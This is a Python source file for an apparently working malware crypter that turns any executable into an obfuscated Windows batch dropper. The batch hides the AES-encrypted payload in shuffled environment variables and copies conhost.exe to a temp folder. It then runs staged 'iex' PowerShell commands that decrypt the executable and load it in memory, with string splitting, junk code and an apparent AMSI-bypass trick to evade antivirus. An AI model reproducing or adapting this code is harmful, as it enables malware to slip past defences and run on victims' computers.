import os, random, string, base64
try:
    from . import AES_KEY_SIZE, PAYLOAD_CHUNK_SIZE, OUTPUT_NAME_LENGTH, JUNK_BLOCKS
    from .rand import rand_str, rand_var, rand_label, rand_case
    from .obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
    from .crypto import encrypt_payload
except ImportError:
    AES_KEY_SIZE = 32
    PAYLOAD_CHUNK_SIZE = 2800
    OUTPUT_NAME_LENGTH = 9
    JUNK_BLOCKS = 25
    from rand import rand_str, rand_var, rand_label, rand_case
    from obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
    from crypto import encrypt_payload


def generate(exe_data, output_path):
    print(f"input: {len(exe_data)} bytes")

    key = os.urandom(AES_KEY_SIZE)
    iv = os.urandom(16)
    print(f"aes-{AES_KEY_SIZE*8} key gen")

    encrypted = encrypt_payload(exe_data, key, iv)
    payload = iv + encrypted
    print(f"encrypted: {len(payload)} bytes")

    b64_payload = base64.b64encode(payload).decode('ascii')
    print(f"b64: {len(b64_payload)} chars")

    payload_vars = []
    chunks = []
    for i in range(0, len(b64_payload), PAYLOAD_CHUNK_SIZE):
        chunk = b64_payload[i:i+PAYLOAD_CHUNK_SIZE]
        var_name = rand_var(6, 12)
        payload_vars.append(var_name)
        chunks.append((var_name, chunk))
    print(f"split into {len(chunks)} chunks")

    order_list = '!'.join(payload_vars)
    print(f"order list: {len(order_list)} chars")
    
    num_fragments = random.randint(max(len(chunks) // 3, 8), max(len(chunks) // 2, 15))
    fragments = []
    fragment_vars = []
    
    parts = order_list.split('!')
    parts_per_fragment = max(1, len(parts) // num_fragments)
    
    for i in range(0, len(parts), parts_per_fragment):
        fragment_parts = parts[i:i+parts_per_fragment]
        fragment = '!'.join(fragment_parts)
        if i + parts_per_fragment < len(parts):
            fragment += '!'
        
        var_name = rand_var(6, 12)
        fragments.append(fragment)
        fragment_vars.append(var_name)
    
    print(f"made {len(fragment_vars)} fragments")
    
    concat_var_name = rand_var(8, 14)
    output_exe_name = rand_str(OUTPUT_NAME_LENGTH, OUTPUT_NAME_LENGTH, string.ascii_letters + string.digits) + '.exe'

    lines = []

    lines.append(f'echo {rand_str(2,5)} > nul')
    lines.append('@echo off')
    lines.extend(make_junk_block())
    lines.append(make_rem_line())

    setup_label = rand_label()
    lines.append(f':{setup_label}')
    lines.append('')

    v_conpath = rand_var(6, 10)
    v_nhost = rand_var(5, 8)
    v_windir_set = rand_var(5, 8)
    v_sysnative = rand_var(6, 10)
    v_conh = rand_var(5, 8)
    v_exe_ext = rand_var(5, 8)

    lines.append(make_set_cmd(v_nhost, 'nhost.'))
    lines.append(make_set_cmd(v_windir_set, f'%windir%\\'))
    lines.append(make_set_cmd(v_sysnative, 'Sysnativ'))
    lines.append(make_set_cmd(v_conh, 'e\\co'))
    lines.append(make_set_cmd(v_exe_ext, 'exe'))

    v_set_prefix = rand_var(5, 8)
    v_owi = rand_var(6, 10)
    lines.append(make_set_cmd(v_set_prefix, 'SeT '))
    lines.append(make_set_cmd(v_owi, f'{v_conpath}='))
    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_windir_set}%%{v_sysnative}%%{v_conh}%%{v_nhost}%%{v_exe_ext}%')
    lines.extend(make_junk_block())

    check_label = rand_label()
    fallback_label = rand_label()
    lines.append(f':{check_label}')

    v_if_set = rand_var(5, 8)
    v_exist_set = rand_var(5, 8)
    v_path_set = rand_var(5, 8)
    v_then_set = rand_var(5, 8)
    v_then_marker = rand_var(5, 8)

    lines.append(make_set_cmd(v_if_set, 'if '))
    lines.append(make_set_cmd(v_exist_set, 'exist '))
    lines.append(make_set_cmd(v_path_set, f'%{v_conpath}% '))
    lines.append(make_set_cmd(v_then_set, 'SET '))
    lines.append(make_set_cmd(v_then_marker, f'{v_conpath}='))
    lines.append(f'%{v_if_set}%%{v_exist_set}%%{v_path_set}%%{v_then_set}%%{v_then_marker}%%{v_conpath}%')
    lines.extend(make_junk_block())

    lines.append(f':{fallback_label}')
    v_sys32_set = rand_var(5, 8)
    v_sys32_conh = rand_var(5, 8)

    lines.append(make_set_cmd(v_sys32_set, f'%windir%\\'))
    lines.append(make_set_cmd(v_sys32_conh, 'System32\\co'))
    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_sys32_set}%%{v_sys32_conh}%%{v_nhost}%%{v_exe_ext}%')
    lines.extend(make_junk_block())

    copy_label = rand_label()
    lines.append(f':{copy_label}')

    name_parts = [output_exe_name[:3], output_exe_name[3:-4], '.ex', 'e']
    v_parts = []
    for part in name_parts:
        v = rand_var(5, 8)
        v_parts.append(v)
        lines.append(make_set_cmd(v, part))

    v_copy_cmd = rand_var(5, 8)
    v_tmp_dir = rand_var(5, 8)
    v_sp = rand_var(5, 8)

    lines.append(make_set_cmd(v_copy_cmd, 'copy'))
    lines.append(make_set_cmd(v_tmp_dir, f'%tmp%\\'))
    lines.append(make_set_cmd(v_sp, f' %{v_conpath}% '))

    copy_line = f'%{v_copy_cmd}%%{v_sp}%%{v_tmp_dir}%'
    for v in v_parts:
        copy_line += f'%{v}%'
    lines.append(copy_line)
    lines.extend(make_junk_block())

    payload_section_label = rand_label()
    lines.append(f':{payload_section_label}')

    shuffled_indices = list(range(len(chunks)))
    random.shuffle(shuffled_indices)

    for idx in shuffled_indices:
        var_name, chunk_data = chunks[idx]
        lines.append(f'{rand_case("SET")} {var_name}={chunk_data}')
        if random.random() > 0.65:
            lines.append(make_rem_line())
        if random.random() > 0.85:
            lines.extend(make_junk_block())

    lines.extend(make_junk_block())

    concat_label = rand_label()
    lines.append(f':{concat_label}')
    
    for var_name, fragment in zip(fragment_vars, fragments):
        if random.random() > 0.5:
            lines.append(f'{rand_case("SET")} "{var_name}={fragment}"')
        else:
            lines.append(f'{rand_case("SET")} "{var_name}={fragment}" && {make_rem_line()}')
        if random.random() > 0.7:
            lines.append(make_rem_line())
    
    lines.extend(make_junk_block())
    
    concat_value = ''.join(f'%{var}%' for var in fragment_vars)
    lines.append(f'{rand_case("SET")} "{concat_var_name}={concat_value}"')
    lines.extend(make_junk_block())

    ps_stage_label = rand_label()
    lines.append(f':{ps_stage_label}')

    v_stage1 = rand_var(6, 10)
    v_stage2 = rand_var(6, 10)
    v_stage3 = rand_var(6, 10)
    v_stage4 = rand_var(6, 10)
    v_stage5 = rand_var(6, 10)

    key_ps = ','.join(str(b) for b in key)

    v_aes_obj = rand_var(6, 10)
    v_enc_data = rand_var(6, 10)
    v_decryptor = rand_var(5, 8)
    v_decrypted = rand_var(6, 10)
    v_asm = rand_var(5, 8)

    decrypt_parts = [
        f"${v_aes_obj} = [System.Security.Cry",
        f"pto",
        f"graphy.AESCryptoS",
        f"ervice",
        f"Provid",
        f"er]::new();${v_aes_obj}.Mo",
        f"De = [System.Security.C",
        f"ryptogra",
        f"phy.CipherMode]::cb",
        f"C;${v_aes_obj}.pa",
        f"D",
        f"ding = [",
        f"Sys",
        f"tem.Se",
        f"c",
        f"urity.Cryptograph",
        f"y",
        f".Padd",
        f"ingMod",
        f"e]::PKcS",
        f"7;${v_aes_obj}",
        f".",
        f"k",
        f"Ey = [byte",
        f"[]]@({key_ps});",
        f"${v_enc_data} = [",
        f"Conv",
        f"ert",
        f"]::FromBase64String(-join ($env:{concat_var_name}.Split('!')).For",
        f"Each({{(Get-Item \"env",
        f":$_\").Value}}));${v_aes_obj}.IV = ${v_enc_data}",
        f"[",
        f"0..15];",
        f"${v_decryptor}=${v_aes_obj}.cREAtEDecRy",
        f"pTOR();${v_decrypted}=${v_decryptor}.tRANsfORmfInaLBLock(",
        f"${v_enc_data}[16..${v_enc_data}.Length], 0,",
        f"${v_enc_data}.LenG",
        f"T",
        f"H-16);${v_asm} =",
        f"[Syst",
        f"em.Reflection.A",
        f"sse",
        f"mbly]::lOaD",
        f"(${v_decrypted}",
        f");${v_asm}.eNt",
        f"RYPoI",
        f"NT.Inv",
        f"oke($null, $n",
        f"ul",
        f"l);"
    ]
    
    obfuscated_decrypt = ''
    for i, part in enumerate(decrypt_parts):
        if random.random() > 0.7 and i > 0:
            junk_var = rand_var(5, 10)
            obfuscated_decrypt += f'%{junk_var}%'
        obfuscated_decrypt += part
    
    decrypt_code = obfuscated_decrypt
    lines.append(make_set_cmd(v_stage2, decrypt_code))
    lines.extend(make_junk_block())

    entry_code = f'iex $env:{v_stage2}'
    lines.append(make_set_cmd(v_stage5, entry_code))
    lines.extend(make_junk_block())

    v_amsi_psauto = rand_var(6, 10)
    v_amsi_ast = rand_var(5, 8)
    amsi_code = (
        f"${v_amsi_psauto} = [ScriptBlock]::Create('').Ast; "
        f"${v_amsi_ast} = [System.Management.Automation.Language.ScriptBlockAst]::new("
        f"${v_amsi_psauto}.Extent,$null,$null,$null,"
        f"${v_amsi_ast}.EndBlock.Copy(),$null); "
        f"iex $env:{v_stage5}"
    )
    lines.append(make_set_cmd(v_stage3, amsi_code))
    lines.extend(make_junk_block())

    v_sb = rand_var(5, 8)
    trigger_code = f"${v_sb} = [ScriptBlock]::Create('').Ast; iex $env:{v_stage3}"
    lines.append(make_set_cmd(v_stage4, trigger_code))
    lines.extend(make_junk_block())

    sleep_code = f'Start-Sleep -Seconds {random.randint(1, 3)};iex $env:{v_stage4}'
    lines.append(make_set_cmd(v_stage1, sleep_code))
    lines.extend(make_junk_block())

    v_toplevel = rand_var(5, 8)
    v_wrapper = rand_var(6, 10)
    wrapper_code = f"${v_toplevel} = 'placeholder'; iex $env:{v_stage1}"
    lines.append(make_set_cmd(v_wrapper, wrapper_code))
    lines.extend(make_junk_block())

    launch_label = rand_label()
    lines.append(f':{launch_label}')

    v_launch_flag = rand_var(6, 10)
    lines.append(make_set_cmd(v_launch_flag, f'iex $env:{v_wrapper}'))
    lines.extend(make_junk_block())

    lines.append(f'start %tmp%\\{output_exe_name} --headless powershell -c %{v_launch_flag}%')

    end_label = rand_label()
    lines.append(make_goto_cmd(end_label))
    for _ in range(random.randint(3, 8)):
        lines.append(make_rem_line())
    lines.append(f':{end_label}')

    final_lines = []
    junk_count = 0
    for line in lines:
        final_lines.append(line)
        if junk_count < JUNK_BLOCKS and random.random() > 0.88:
            final_lines.extend(make_junk_block())
            junk_count += 1

    bat_content = '\r\n'.join(final_lines)
    with open(output_path, 'w', encoding='utf-8') as f:
        f.write(bat_content)

    print(f"\ndone: {output_path}")
    print(f"tmp exe: {output_exe_name}")
    print(f"lines: {len(final_lines)}")
    print(f"chunks: {len(chunks)}")
    print(f"size: {len(bat_content):,} bytes")
    print(f"key: {key.hex()}")
    return True